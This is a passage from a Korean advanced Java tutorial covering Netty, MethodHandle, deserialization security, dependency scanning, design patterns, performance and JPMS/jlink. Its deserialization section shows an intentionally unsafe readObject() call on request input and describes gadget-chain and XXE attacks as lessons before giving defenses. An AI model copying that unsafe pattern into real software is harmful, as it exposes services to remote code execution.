try (Arena arena = Arena.ofConfined()) {          // ★ 명시적 수명 관리
    MemorySegment seg = arena.allocate(1024);
    seg.set(ValueLayout.JAVA_INT, 0, 42);
    int v = seg.get(ValueLayout.JAVA_INT, 0);
}   // 여기서 즉시 해제 — GC 를 기다리지 않습니다

// 네이티브 함수 호출도 JNI 없이 가능해졌습니다
Linker linker = Linker.nativeLinker();
MethodHandle strlen = linker.downcallHandle(
    linker.defaultLookup().find("strlen").orElseThrow(),
    FunctionDescriptor.of(JAVA_LONG, ADDRESS));
메타스페이스 누수를 조심하세요. 기본값이 무제한이라, 동적 프록시·CGLIB·스크립팅을 요청마다 생성하면 클래스가 계속 쌓입니다. -XX:MaxMetaspaceSize=256m 로 상한을 두면 OOM 으로 빨리 드러나 원인을 찾기 쉬워집니다.
DEEP 09

NIO · Netty 이벤트 루프

WebFlux · Spring Cloud Gateway 아래에서 실제로 도는 것.

블로킹 I/O 와 무엇이 다른가

[블로킹 — 전통적 톰캣]
  연결 1개 = 스레드 1개
  10,000 연결 → 스레드 10,000개 → 스택만 10GB · 스위칭 폭발

[NIO — 셀렉터]
  스레드 1개가 Selector 로 "준비된 채널"만 골라 처리
  10,000 연결 → 스레드 몇 개
  ★ 대신 콜백 기반이라 코드가 어려워집니다

[가상 스레드 — Java 21]
  블로킹처럼 쓰되 내부적으로는 논블로킹
  ★ 대부분의 웹 서버는 이제 이쪽이 정답입니다 (🧬 고급 a08)
// NIO 셀렉터 — 원리를 보여 주는 최소 코드
Selector selector = Selector.open();
ServerSocketChannel server = ServerSocketChannel.open();
server.bind(new InetSocketAddress(8080));
server.configureBlocking(false);                     // ★ 논블로킹
server.register(selector, SelectionKey.OP_ACCEPT);

while (true) {
    selector.select();                               // 준비될 때까지 대기
    for (SelectionKey key : selector.selectedKeys()) {
        if (key.isAcceptable()) { /* 새 연결 */ }
        else if (key.isReadable()) { /* 읽기 가능 */ }
    }
    selector.selectedKeys().clear();                 // ★ 안 지우면 무한 반복
}

Netty 의 구조

[Boss 그룹]   연결 수락만 담당 (보통 1개 스레드)
     ↓
[Worker 그룹]  EventLoop N개 (기본 = CPU × 2)
     ↓         ★ 하나의 연결은 "항상 같은 EventLoop" 에 묶입니다
[ChannelPipeline]
   inbound  →  디코더 → 비즈니스 핸들러 → …
   outbound ←  인코더 ←

핵심 규칙
  ★ EventLoop 를 절대 막지 마세요
    한 핸들러에서 DB 를 동기로 호출하면
    그 EventLoop 에 묶인 "수천 개 연결이 전부" 멈춥니다
  → 블로킹 작업은 별도 스레드 풀로
// 블로킹 핸들러는 별도 그룹에서
EventExecutorGroup blockingGroup = new DefaultEventExecutorGroup(16);

pipeline.addLast(new HttpServerCodec());
pipeline.addLast(new HttpObjectAggregator(1_048_576));   // ★ 크기 제한
pipeline.addLast(blockingGroup, "biz", new BusinessHandler());

// 참조 카운팅 — Netty 의 ByteBuf 는 직접 해제해야 합니다
ByteBuf buf = ctx.alloc().buffer();
try {
    // 사용
} finally {
    ReferenceCountUtil.release(buf);      // ★ 안 하면 네이티브 메모리 누수 (z08)
}
// 누수 탐지: -Dio.netty.leakDetection.level=PARANOID (개발 시)
WebFlux 를 쓴다면 이미 Netty 위에 있습니다. “WebFlux 인데 왜 안 빠르지?”의 원인은 대부분 파이프라인 어딘가에서 블로킹 호출을 하고 있어서입니다. BlockHound 를 붙이면 블로킹 호출을 런타임에 잡아 줍니다 (🌊 WebFlux 탭 f04·f12).
DEEP 10

MethodHandle · 애너테이션 프로세서

리플렉션보다 빠른 방법과, 아예 컴파일 때 끝내는 방법.

MethodHandle — 리플렉션의 대안

// 리플렉션 — 매 호출마다 접근 검사·박싱
Method m = User.class.getMethod("getName");
m.setAccessible(true);
Object viaReflection = m.invoke(user);     // 느림

// MethodHandle — JIT 이 인라이닝할 수 있습니다
MethodHandles.Lookup lookup = MethodHandles.lookup();
MethodHandle mh = lookup.findVirtual(
    User.class, "getName", MethodType.methodType(String.class));
String name = (String) mh.invokeExact(user);   // ★ 훨씬 빠름

// ★ static final 로 두어야 최적화됩니다
private static final MethodHandle GET_NAME;

// LambdaMetafactory — 함수형 인터페이스로 변환 (가장 빠름)
Function<User, String> getter = (Function<User, String>) LambdaMetafactory
    .metafactory(lookup, "apply",
        MethodType.methodType(Function.class),
        MethodType.methodType(Object.class, Object.class),
        mh, MethodType.methodType(String.class, User.class))
    .getTarget().invokeExact();
getter.apply(user);        // 직접 호출과 거의 같은 속도
// ★ Jackson 의 Blackbird 모듈 같은 라이브러리가 내부에서 쓰는 기법입니다
//   (MapStruct 는 이것조차 없이 컴파일 때 평범한 코드를 생성합니다 — 아래)
람다도 이 위에 서 있습니다. 자바 람다는 익명 클래스가 아니라 invokedynamic + LambdaMetafactory 로 첫 호출 시점에 클래스가 생성됩니다. 그래서 람다를 많이 쓰면 기동이 조금 느려지는 것입니다.

애너테이션 프로세서 — 런타임 비용 0

런타임 리플렉션 대신 "컴파일 때 코드를 생성"합니다.

이미 쓰고 있는 것들
  · Lombok            — getter/setter 생성
  · MapStruct         — DTO 변환 코드 생성 (리플렉션 0)
  · QueryDSL          — Q 클래스 생성
  · Dagger            — DI 코드를 컴파일 때 생성 (안드로이드)
  · Micronaut · Quarkus — ★ 스프링의 런타임 리플렉션을 컴파일 때로 옮겨
                          기동 시간과 메모리를 크게 줄인 프레임워크

장점: 기동 빠름 · 리플렉션 없음 · GraalVM 네이티브 이미지에 유리
단점: 빌드가 느려짐 · 생성 코드 디버깅이 번거로움
// 직접 만들기 — 뼈대
@SupportedAnnotationTypes("com.app.AutoMapper")
@SupportedSourceVersion(SourceVersion.RELEASE_21)
public class MapperProcessor extends AbstractProcessor {
    @Override
    public boolean process(Set<? extends TypeElement> annotations,
                           RoundEnvironment env) {
        for (Element e : env.getElementsAnnotatedWith(AutoMapper.class)) {
            // JavaPoet 으로 소스 생성
            JavaFile.builder(pkg, typeSpec).build()
                    .writeTo(processingEnv.getFiler());
        }
        return true;
    }
}
// META-INF/services/javax.annotation.processing.Processor 에 등록
GraalVM 네이티브 이미지를 고려한다면 리플렉션·동적 프록시를 전부 설정 파일에 등록해야 합니다. 그래서 애너테이션 프로세서 기반 프레임워크가 유리합니다. 스프링도 AOT 처리로 이 방향으로 가고 있습니다 (./gradlew nativeCompile — 기동 50ms, 메모리 1/5).
DEEP 11

직렬화 · 역직렬화 취약점

자바에서 가장 많은 원격 코드 실행(RCE)이 나온 자리입니다.

왜 위험한가

// 자바 직렬화는 "객체 그래프를 복원"하면서
// readObject() · readResolve() 같은 메서드를 실행합니다
ObjectInputStream in = new ObjectInputStream(request.getInputStream());
Object o = in.readObject();          // 💀 여기서 이미 늦었습니다
if (o instanceof User u) { ... }     // 캐스팅 전에 코드가 실행됩니다

// 클래스패스에 있는 라이브러리들을 "가젯 체인"으로 엮으면
// commons-collections · spring-beans 등을 조합해
// Runtime.exec() 까지 도달할 수 있습니다
// (ysoserial 이 그 페이로드를 자동 생성합니다)
실제 사고
  · Apache Commons Collections 가젯   — 수많은 서버가 뚫림
  · WebLogic · JBoss T3 프로토콜      — 반복적으로 CVE
  · Log4Shell (2021)                  — 로그 문자열 하나로 RCE
    ★ log.info(userInput) 만으로 JNDI 조회가 실행됐습니다

교훈: "신뢰할 수 없는 데이터를 파싱하는 모든 지점"이 공격면입니다.
결론 — 자바 직렬화를 외부 통신에 쓰지 마세요. 오라클 아키텍트들도 공개적으로 “뼈아픈 실수”라 인정했고 축소·대체 논의(JEP 154 초안 등)가 있지만, 확정된 제거 일정은 없습니다. 어쨌든 외부 데이터에는 JSON · Protobuf · Avro 를 쓰세요.

방어

// ① 꼭 써야 한다면 필터를 거세요 (Java 9+ · JEP 290)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.app.dto.*;java.base/*;!*");      // ★ 화이트리스트 + 나머지 거부
ObjectInputFilter.Config.setSerialFilter(filter);

// JVM 옵션으로 전역 설정
// -Djdk.serialFilter=com.app.**;java.base/*;!*

// ② Jackson — 다형 역직렬화를 조심하세요
ObjectMapper om = new ObjectMapper();
om.activateDefaultTyping(...);           // ❌ 절대 쓰지 마세요 (가젯의 통로)

// ✅ 명시적 서브타입만 허용
@JsonTypeInfo(use = Id.NAME, include = As.PROPERTY, property = "type")
@JsonSubTypes({
    @Type(value = CardPayment.class, name = "card"),
    @Type(value = BankPayment.class, name = "bank"),
})
public sealed interface Payment permits CardPayment, BankPayment {}
// ★ sealed 로 구현체를 봉인하면 더 안전합니다
// ③ XML 은 XXE 를 반드시 막으세요
DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
f.setFeature("http://xml.org/sax/features/external-general-entities", false);
f.setXIncludeAware(false);
f.setExpandEntityReferences(false);
// 안 막으면 서버의 /etc/passwd 를 읽어 갈 수 있습니다 (🧰 도구 탭 t08)

// ④ YAML — SnakeYAML 은 SafeConstructor 로
new Yaml(new SafeConstructor(new LoaderOptions()));
세션 저장·캐시에도 적용됩니다. Redis 에 자바 직렬화로 세션을 넣는 구성이 흔한데, Redis 가 뚫리면 그대로 RCE 가 됩니다. JSON 직렬화로 바꾸는 것만으로 위험이 크게 줄어듭니다.
"되살리는 것"만으로 코드가 실행됩니다 외부 입력 쿠키 · 큐 메시지 · 파일 readObject() 객체로 되살리는 과정 가젯 체인 실행 이미 있는 클래스들을 엮어 명령 실행 해결은 단순합니다 신뢰할 수 없는 입력에 자바 직렬화를 쓰지 않습니다 JSON 으로 받고, 받을 타입을 명시적으로 지정하세요 Jackson 의 다형성 역직렬화도 같은 위험이 있습니다 꼭 써야 한다면 ObjectInputFilter 로 허용할 클래스를 목록으로 제한 차단 목록이 아니라 허용 목록이어야 합니다 세션·캐시에 직렬화 객체를 넣는 구조라면 특히 확인하세요 함께 볼 것 — 의존성 취약점 점검(z12). 가젯 체인은 우리 코드가 아니라 라이브러리 안에 있습니다. 버전을 올리는 것이 곧 방어입니다
"입력을 검증했다"로는 부족합니다 — 되살리는 행위 자체가 실행입니다.
DEEP 12

공급망 보안 · 의존성 관리

내 코드보다 가져다 쓴 라이브러리가 더 위험합니다.

의존성 검사

// build.gradle.kts — 취약점 스캔을 CI 에
plugins {
    id("org.owasp.dependencycheck") version "10.0.4"
    id("com.github.ben-manes.versions") version "0.51.0"
}

// ./gradlew dependencyCheckAnalyze    알려진 CVE 검사
// ./gradlew dependencyUpdates         오래된 의존성 확인
# 왜 이 라이브러리가 들어왔는지 추적
./gradlew dependencyInsight --dependency log4j-core --configuration runtimeClasspath
mvn dependency:tree -Dincludes=org.apache.logging.log4j

# SBOM 생성 (요즘 대기업·공공에서 요구합니다)
./gradlew cyclonedxBom          # CycloneDX 형식
syft dir:. -o spdx-json         # 또는 syft

# 컨테이너 이미지 스캔
trivy image myapp:latest
grype myapp:latest
// 버전을 한 곳에서 고정 — BOM
dependencies {
    implementation(platform("org.springframework.boot:spring-boot-dependencies:4.1.0"))
    implementation("org.springframework.boot:spring-boot-starter-webmvc")  // 버전 생략
}

// 취약 버전을 강제로 올리기
configurations.all {
    resolutionStrategy {
        force("tools.jackson.core:jackson-databind:3.0.0")
        failOnVersionConflict()      // ★ 충돌을 조용히 넘기지 않기
    }
}

체크리스트

  • ☐ 취약점 스캔이 CI 에 들어가 있는가 (실패 시 빌드 중단)
  • ☐ 의존성 자동 업데이트 — Renovate·Dependabot PR
  • ☐ lock 파일 사용 (Gradle: dependencyLocking)
  • ☐ 사내 아티팩트 저장소(Nexus·Artifactory) 경유 — 외부 직접 다운로드 차단
  • ☐ SBOM 을 릴리스마다 생성·보관
  • ☐ 이미지 베이스 이미지도 정기 갱신 (JDK 패치 포함)
  • ☐ 비밀 값이 저장소·이미지·로그에 없는가 (gitleaks)
런타임 방어 — 최소 권한
  · 컨테이너를 root 로 실행하지 않기 (USER 지정)
  · 읽기 전용 파일시스템 (readOnlyRootFilesystem: true)
  · 불필요한 네트워크 아웃바운드 차단
    ★ Log4Shell 이 실제로 막혔던 조직은
      "서버가 외부로 나가는 연결을 막아 둔" 곳이었습니다

로깅 주의
  log.info("입력: {}", userInput);   // 파라미터 바인딩 사용
  log.info("입력: " + userInput);    // 문자열 연결도 위험 요소는 아니지만
                                      // 로그 인젝션(개행 삽입)에 주의
“업데이트를 미루는 것”이 가장 큰 위험입니다. 스프링 부트 마이너 버전 하나를 2년 미루면 한 번에 올리기가 불가능해지고, 그동안의 CVE 를 전부 안고 갑니다. 분기마다 패치 버전만이라도 올리는 리듬을 만드세요.
DEEP 13

함수형 자바 심화

☕ 기초 j10·j11 의 확장판. 설계 도구로서의 함수형.

불변성과 값 객체

// record — 불변 값 객체의 표준
public record Money(BigDecimal amount, Currency currency) {
    public Money {                                // 컴팩트 생성자 — 검증
        Objects.requireNonNull(amount);
        if (amount.scale() > 2) throw new IllegalArgumentException();
    }

    public Money plus(Money other) {              // ★ 새 객체를 반환
        requireSameCurrency(other);
        return new Money(amount.add(other.amount), currency);
    }
}

// sealed + record + 패턴 매칭 = 자바의 대수적 데이터 타입
public sealed interface Result<T> permits Ok, Err {}
public record Ok<T>(T value) implements Result<T> {}
public record Err<T>(String message) implements Result<T> {}

String render(Result<User> r) {
    return switch (r) {
        case Ok(User u)     -> u.name();          // ★ 레코드 패턴 (Java 21)
        case Err(String m)  -> "오류: " + m;
    };   // ★ 빠짐없이 처리했는지 컴파일러가 검사합니다
}
이 조합이 자바 21 의 가장 큰 변화입니다. sealed + record + switch 패턴 매칭으로 “가능한 상태를 타입으로 제한” 할 수 있게 됐습니다. 상태·결과·이벤트를 이렇게 모델링하면 잘못된 조합이 아예 표현 불가능해집니다.

Stream 을 제대로 쓰기

// 커스텀 Collector — 반복되는 집계를 재사용
Map<String, Long> byStatus = orders.stream()
    .collect(Collectors.groupingBy(Order::status, Collectors.counting()));

// teeing — 한 번 순회로 두 가지 집계 (Java 12+)
record Stats(long count, BigDecimal total) {}
Stats stats = orders.stream().collect(Collectors.teeing(
    Collectors.counting(),
    Collectors.reducing(BigDecimal.ZERO, Order::amount, BigDecimal::add),
    Stats::new));

// flatMap 으로 중첩 펼치기
List<Item> items = orders.stream()
    .flatMap(o -> o.items().stream())
    .toList();

// mapMulti — flatMap 보다 할당이 적습니다 (Java 16+)
stream.<Item>mapMulti((order, consumer) ->
    order.items().forEach(consumer));
parallelStream 을 함부로 쓰지 마세요. ① 공용 ForkJoinPool 을 쓰므로 다른 요청과 경쟁합니다, ② I/O 가 섞이면 오히려 느려집니다, ③ 순서·부수효과가 있으면 결과가 틀립니다. 순수 CPU 연산 + 데이터 10만 건 이상일 때만, 그것도 측정한 뒤에 쓰세요.
// ❌ 스트림 남용 — 오히려 읽기 어렵습니다
var result = list.stream().filter(...).map(...).flatMap(...)
    .collect(groupingBy(..., mapping(..., toList())));

// ✅ 중간 결과에 이름을 붙이세요
var paid = orders.stream().filter(Order::isPaid).toList();
var byUser = paid.stream().collect(groupingBy(Order::userId));

// ✅ 단순 반복은 for 문이 더 명확합니다
for (Order o : orders) { if (o.isPaid()) total += o.amount(); }
Optional 사용 규칙 — 반환 타입에만 쓰세요. 필드·매개변수·컬렉션 요소에는 쓰지 않습니다. Optional.get() 대신 orElseThrow()· map·ifPresentOrElse 를 쓰세요.
DEEP 14

디자인 패턴 실전

이름을 아는 것보다 언제 쓰지 말아야 하는지가 중요합니다.

실무에서 값어치가 큰 것

// ① 전략 — enum + 인터페이스 조합이 자바답습니다
public enum PaymentMethod {
    CARD  { public Receipt pay(int amt) { ... } },
    BANK  { public Receipt pay(int amt) { ... } },
    POINT { public Receipt pay(int amt) { ... } };

    public abstract Receipt pay(int amount);
}
PaymentMethod.valueOf(type).pay(amount);
// ★ 새 수단을 추가하면 컴파일러가 구현을 강제합니다

// ② 어댑터 — 외부 의존을 내 인터페이스로 (가장 유용)
public interface FileStorage { String put(String key, byte[] data); }
class S3Storage implements FileStorage { ... }
class LocalStorage implements FileStorage { ... }
// S3 → GCS 교체 시 서비스 코드는 그대로

// ③ 빌더 — 매개변수가 많고 선택적일 때
Order order = Order.builder()
    .userId(1L).addItem(item).coupon(coupon).build();
// ★ record + 정적 팩토리로 대체 가능한 경우가 많습니다

// ④ 템플릿 메서드 — 스프링이 곳곳에 쓰는 방식
//    JdbcTemplate · RestTemplate · TransactionTemplate

주의할 것

// ① 싱글턴 — 직접 만들지 마세요
// ❌ 이중 검사 잠금 (z03 에서 봤듯 volatile 을 빼먹기 쉽습니다)
// ✅ enum 이 가장 안전합니다 (직렬화·리플렉션 공격에도 안전)
public enum Registry {
    INSTANCE;
    private final Map<String, Handler> map = new ConcurrentHashMap<>();
}
// ✅ 스프링을 쓴다면 그냥 @Component — 이미 싱글턴입니다

// ② 옵저버 — 직접 구현하지 말고
//    ApplicationEventPublisher (스프링) 또는 큐를 쓰세요
//    ★ 프로세스가 죽으면 사라진다는 점을 잊지 마세요 (⚡ 대규모 k07)

// ③ 상속 3단계 이상 — 거의 항상 잘못된 설계입니다
//    "이 메서드가 어디서 왔지?"를 찾는 데 시간이 더 듭니다
//    → 합성(composition)으로 바꾸세요
패턴을 먼저 정하고 코드를 짜지 마세요. 목적은 세 가지뿐입니다: ① 바뀔 것과 안 바뀔 것을 분리, ② 의존 방향을 한쪽으로, ③ 테스트할 수 있게. 패턴은 그 결과에 붙는 이름일 뿐입니다.

스프링이 이미 해 주는 것

패턴스프링에서는
싱글턴@Component 기본 스코프
팩토리@Bean 메서드
프록시@Transactional·AOP
옵저버@EventListener
템플릿 메서드*Template 클래스들
의존성 주입생성자 주입
“스프링 없이 직접 만들기”는 학습용으로만. 운영 코드에서는 프레임워크가 이미 검증한 방식을 쓰는 편이 읽는 사람에게도 훨씬 친절합니다.
DEEP 15

성능 최적화 종합

이 탭의 내용을 실행 순서로 정리합니다.

효과 크기 순서

순위항목 · 기대 효과
1쿼리·인덱스·N+1 — 10~1000배
2알고리즘 복잡도 — O(n²)→O(n). 수십~수백 배
3캐시 — 로컬·Redis. 10~100배
4병렬·비동기 — 순차 호출을 동시에. 수 배
5커넥션 풀·재사용 — HTTP keep-alive 포함. 10~50%
6직렬화·페이로드 축소. 2~5배(네트워크 구간)
7JVM·GC 옵션 (z06). 보통 10~30%
8객체 할당·캐시 라인 (z05). 핫 루프에서만
8번부터 시작하는 사람이 정말 많습니다. StringBuilder 를 고민하는 동안 인덱스 하나가 응답을 900ms → 9ms 로 만듭니다. 항상 위에서부터 확인하세요.

측정 도구 정리

상황도구
느린 원인을 모름JFR + JMC (z07)
응답이 안 옴 · 행스레드 덤프 3회 (z07)
메모리 증가GC 로그 → 힙덤프 + MAT
네이티브 메모리 증가NMT (z08)
메서드 단위 비교JMH (z01)
느린 쿼리p6spy · Hibernate statistics · DB 슬로우 로그
운영 상시 관측Micrometer + Prometheus (⚡ k14)
// 자주 놓치는 것 ① — HTTP 커넥션 재사용
// RestClient/WebClient 를 매 요청마다 만들면
// TCP+TLS 핸드셰이크로 50~200ms 를 그냥 버립니다
@Bean
RestClient restClient(RestClient.Builder builder) {
    return builder.requestFactory(
        new HttpComponentsClientHttpRequestFactory(
            HttpClients.custom()
                .setConnectionManager(PoolingHttpClientConnectionManagerBuilder
                    .create().setMaxConnTotal(100)
                    .setMaxConnPerRoute(50)   // ★ 기본은 호스트당 5개 — 안 올리면 한 API 에 5개만 동시에
                    .build())
                .build())).build();
}

// ② 로그 레벨 검사 — 문자열 조립 비용 제거
if (log.isDebugEnabled()) log.debug("복잡한 계산: {}", expensive());
// 또는 람다로 (Log4j2)
log.debug("결과: {}", () -> expensive());
// SLF4J(@Slf4j) 라면 2.x 의 fluent API 로
log.atDebug().addArgument(() -> expensive()).log("결과: {}");

// ③ 응답에서 필요 없는 필드 제거
// 100KB → 10KB 면 직렬화·전송·파싱이 모두 10배 빨라집니다
고친 뒤 반드시 다시 측정하세요. “빨라졌을 것 같다”로 커밋한 최적화의 상당수는 효과가 없거나 오히려 느려집니다. 숫자로 확인하고 그 숫자를 커밋 메시지에 남기세요.
DEEP 16

아키텍처 — 헥사고날 · DDD

규모가 커지면 패키지 구조가 곧 설계가 됩니다.

의존 방향을 한쪽으로

adapter-in
인바운드 어댑터 REST 컨트롤러 · Kafka 컨슈머 · 배치 잡 · gRPC
▼ 의존
application
응용 계층 (유스케이스) 포트 인터페이스 정의 · 트랜잭션 경계. “주문을 생성한다”
▼ 의존
domain
도메인 계층 엔티티 · 값 객체 · 도메인 서비스. 스프링·JPA 를 몰라야 합니다 ★
▲ 구현
adapter-out
아웃바운드 어댑터 JPA 리포지토리 · 외부 API 클라이언트 · Redis
com.company.order
  ├ domain/          Order · OrderItem · OrderStatus (POJO)
  │                  OrderRepository (인터페이스 = 포트)
  ├ application/     CreateOrderUseCase · CancelOrderUseCase
  ├ adapter/
  │   ├ in/web/      OrderController
  │   ├ in/kafka/    OrderEventConsumer
  │   └ out/persistence/  OrderJpaEntity · OrderRepositoryImpl
  └ config/          스프링 설정

엔티티를 나누는 이유

// 도메인 — JPA 를 모릅니다
public class Order {
    private final OrderId id;
    private OrderStatus status;
    private final List<OrderItem> items;

    public void cancel() {
        if (status == OrderStatus.SHIPPED)
            throw new CannotCancelException(id);   // ★ 규칙이 여기 모입니다
        this.status = OrderStatus.CANCELLED;
    }
    public Money total() {
        return items.stream().map(OrderItem::subtotal)
                    .reduce(Money.ZERO, Money::plus);
    }
}

// 영속성 — JPA 애너테이션은 여기에만
@Entity @Table(name = "orders")
class OrderJpaEntity {
    @Id Long id;
    @Enumerated(EnumType.STRING) OrderStatus status;
    // 매핑 메서드로 도메인 ↔ 엔티티 변환
    Order toDomain() { ... }
    static OrderJpaEntity from(Order order) { ... }
}
처음부터 이렇게 만들지 마세요. CRUD 위주 서비스에 4계층 + 매핑 코드를 넣으면 변환 코드만 늘고 아무도 못 찾습니다. Controller → Service → Repository 3층으로 시작해서, 도메인 규칙이 서비스에 넘칠 때 도메인을 뽑아내는 순서가 현실적입니다.
// 구조를 코드로 강제하기 — ArchUnit
@ArchTest
static final ArchRule 도메인은_스프링을_모른다 =
    noClasses().that().resideInAPackage("..domain..")
        .should().dependOnClassesThat()
        .resideInAnyPackage("org.springframework..", "jakarta.persistence..");

@ArchTest
static final ArchRule 계층_의존_방향 = layeredArchitecture().consideringAllDependencies()
    .layer("Adapter").definedBy("..adapter..")
    .layer("Application").definedBy("..application..")
    .layer("Domain").definedBy("..domain..")
    .whereLayer("Domain").mayOnlyBeAccessedByLayers("Application", "Adapter");
// ★ 규칙을 문서가 아니라 "테스트"로 만들면 실제로 지켜집니다
이 구조의 실질적 이득 — ① 같은 유스케이스를 REST·Kafka·배치에서 재사용, ② JPA → MyBatis 교체 시 고칠 곳이 좁음, ③ 도메인 테스트에 스프링 컨텍스트가 필요 없음(빠름), ④ 비즈니스 규칙이 한 곳에 모여 신규 입사자가 빨리 파악합니다.
DEEP 17

JPMS · 모듈 시스템

--add-opens 를 치게 되는 진짜 이유. Java 9 가 그은 새 경계입니다.

module-info.java — 전부입니다

// src/main/java/module-info.java  (패키지 없이 소스 루트에)
module com.company.order {

    requires java.sql;                    // 이 모듈을 씁니다
    requires transitive com.company.core; // ★ 내 API 에 노출됨 → 쓰는 쪽도 자동으로 읽음
    requires static lombok;               // 컴파일 때만 필요 (런타임 없어도 됨)

    exports com.company.order.api;                    // 누구에게나 공개
    exports com.company.order.internal to com.company.admin;  // 지정한 모듈에만

    opens com.company.order.dto;          // ★ 런타임 리플렉션 허용 (Jackson·JPA용)
    opens com.company.order.entity to org.hibernate.orm.core;

    uses  com.company.order.PaymentProvider;          // ServiceLoader 소비 (z02)
    provides com.company.order.PaymentProvider
        with com.company.order.impl.CardProvider;     // 구현 제공
}
키워드의미
exports컴파일·런타임 모두 접근 허용. public 이어도 exports 안 하면 밖에서 못 씁니다 ★
opens컴파일은 막고 리플렉션만 허용. setAccessible(true) 가 통하는 유일한 통로
requires transitive내 공개 API 시그니처에 나오는 타입이면 반드시 이걸로
requires static컴파일 전용 — 애너테이션·롬복
open module …모듈 전체를 리플렉션에 개방 (마이그레이션용 도피구)
왜 만들었나 — ① public 이 “전 세계 공개” 하나뿐이라 내부 구현 패키지(com.sun.*·*.internal.*)를 모두가 갖다 썼고, JDK 는 영원히 못 고치는 코드를 떠안았습니다. ② 클래스패스는 실행해 봐야 빠진 jar 를 알 수 있었습니다 (NoClassDefFoundError — z02). 모듈은 기동 즉시 의존 그래프를 검증합니다.

실무에서 --add-opens 를 치게 되는 순간

java.lang.reflect.InaccessibleObjectException:
  Unable to make field private final int java.time.LocalDate.year
  accessible: module java.base does not "opens java.time" to unnamed module

★ 원인은 항상 같습니다 — 라이브러리가 JDK 내부를 리플렉션으로 파고들었습니다
  · 직렬화·복사 라이브러리 (Kryo · Objenesis · 옛 Jackson 모듈)
  · 목킹 프레임워크 (Mockito 의 inline mock maker · PowerMock)
  · Spark · Hadoop · 옛 ORM
  · sun.misc.Unsafe 를 쓰던 코드

Java 16 부터 강한 캡슐화가 "기본값"이 되면서 경고 → 에러로 바뀌었고,
Java 17 이후로는 --illegal-access 옵션 자체가 사라졌습니다.
# 딱 필요한 패키지만 여세요 (전부 여는 open module 은 최후 수단)
java --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     -jar app.jar

# 컴파일/실행 시 "exports 안 된 패키지"를 써야 할 때 (z05 의 @Contended 처럼)
javac --add-exports java.base/jdk.internal.vm.annotation=ALL-UNNAMED ...

# jar 에 미리 박아 두면 실행 옵션이 필요 없습니다 (MANIFEST.MF)
Add-Opens: java.base/java.lang java.base/java.util

# Gradle 테스트에 걸어 두기 (build.gradle.kts)
# tasks.test { jvmArgs("--add-opens", "java.base/java.lang=ALL-UNNAMED") }
--add-opens 는 “해결”이 아니라 “유예”입니다. 옵션이 늘어난다는 것은 낡은 라이브러리를 안고 있다는 신호입니다. JDK 를 올릴 때마다 같은 자리에서 다시 터지므로, 옵션을 추가할 때 이유와 라이브러리 이름을 주석으로 남기세요. sun.misc.Unsafe 의 메모리 접근 메서드는 이제 “경고”가 아니라 “예외” 입니다.
sun.misc.Unsafe 메모리 접근 — 단계적 제거 경과

  JDK 23   종료 폐기(deprecated for removal)          JEP 471
  JDK 24   호출하면 기본으로 런타임 경고               JEP 498
  JDK 26   ★ 기본값이 --sun-misc-unsafe-memory-access=deny
           → 호출하는 순간 UnsupportedOperationException
  그다음    메서드 자체가 제거되고 이 옵션도 함께 사라집니다

임시 유예 (딱 한 릴리스 벌기용 — 영구 대책이 아닙니다)
  java --sun-misc-unsafe-memory-access=allow -jar app.jar
  java --sun-misc-unsafe-memory-access=warn  -jar app.jar   # 어디서 쓰는지 찾을 때

대체 API
  온힙 필드·배열의 원자적 접근   → VarHandle   (Java 9+ · z04)
  오프힙 메모리 · 네이티브 호출  → FFM API     (Java 22+ · z08)
내 코드가 아니라 “라이브러리”가 문제입니다. 직접 Unsafe 를 쓰는 애플리케이션은 드물고, 옛 Netty·Kryo·Chronicle·캐시 라이브러리가 안에서 씁니다. JDK 26 으로 올리기 전에 --sun-misc-unsafe-memory-access=warn 으로 한 번 돌려 스택트레이스에 찍히는 라이브러리 목록을 먼저 뽑고, 그 라이브러리들의 최신 버전(대부분 이미 VarHandle·FFM 으로 옮겼습니다)으로 올리세요.

클래스패스 vs 모듈패스

-classpath (전통)                    --module-path (모듈)
────────────────────────────────────────────────────────────
전부 "이름 없는 모듈"                  각 jar 가 이름을 가진 모듈
모든 패키지가 서로에게 열림             exports/opens 한 것만 보임
같은 패키지가 여러 jar 에 있어도 통과    ★ split package = 기동 실패
없는 jar 는 실행 중에 발각              기동 시 그래프 검증

★ 섞어 쓸 수 있습니다 (현실의 99%)
  module-info 없는 jar 를 모듈패스에 올리면 "자동 모듈"이 되어
  jar 파일명(또는 MANIFEST 의 Automatic-Module-Name)이 모듈 이름이 됩니다.
  → 자동 모듈은 모든 패키지를 exports/opens 한 것으로 취급됩니다.
# 무엇이 모듈로 인식되는지 확인
java --module-path libs --list-modules
jar --file lib.jar --describe-module

# 내 코드가 어떤 JDK 모듈에 의존하는지 (마이그레이션 1단계)
jdeps --multi-release 25 --print-module-deps app.jar
jdeps -s --module-path libs app.jar        # 요약 그래프
스프링 부트 fat jar 는 모듈이 아닙니다. BOOT-INF/lib 안의 jar 를 자체 로더가 읽으므로(z02) 클래스패스 모드로 돕니다. 그래서 부트 애플리케이션에 module-info.java 를 넣어도 실질적인 이득이 없습니다. 라이브러리를 만들 때만 의미가 있습니다.

jlink — 필요한 것만 담은 런타임

# ① 앱이 실제로 쓰는 JDK 모듈만 뽑는다
DEPS=$(jdeps --multi-release 25 --print-module-deps --ignore-missing-deps app.jar)

# ② 그 모듈만으로 런타임 이미지를 만든다
jlink --add-modules "$DEPS" \
      --strip-debug --no-header-files --no-man-pages \
      --compress=zip-6 \
      --output ./runtime

./runtime/bin/java -jar app.jar

# 크기 비교 (대략)
#   전체 JDK 25      ~330MB
#   전체 JRE 상당     ~180MB
#   jlink 최소 런타임  ~45~60MB   ← 컨테이너 이미지가 확 줄어듭니다
Dockerfile 2단계 빌드에 그대로 붙습니다

  FROM eclipse-temurin:25-jdk AS build
  RUN jlink --add-modules java.base,java.logging,java.sql \
            --strip-debug --no-header-files --no-man-pages --output /runtime

  FROM debian:stable-slim
  COPY --from=build /runtime /opt/java
  COPY app.jar /app.jar
  ENTRYPOINT ["/opt/java/bin/java","-jar","/app.jar"]

⚠️ JDK 21 이하라면 jdk.crypto.ec 를 빼면 TLS 핸드셰이크가 조용히 실패합니다.
   (JDK 22 부터 EC 구현이 java.base 로 옮겨져 25 에서는 넣지 않아도 됩니다)
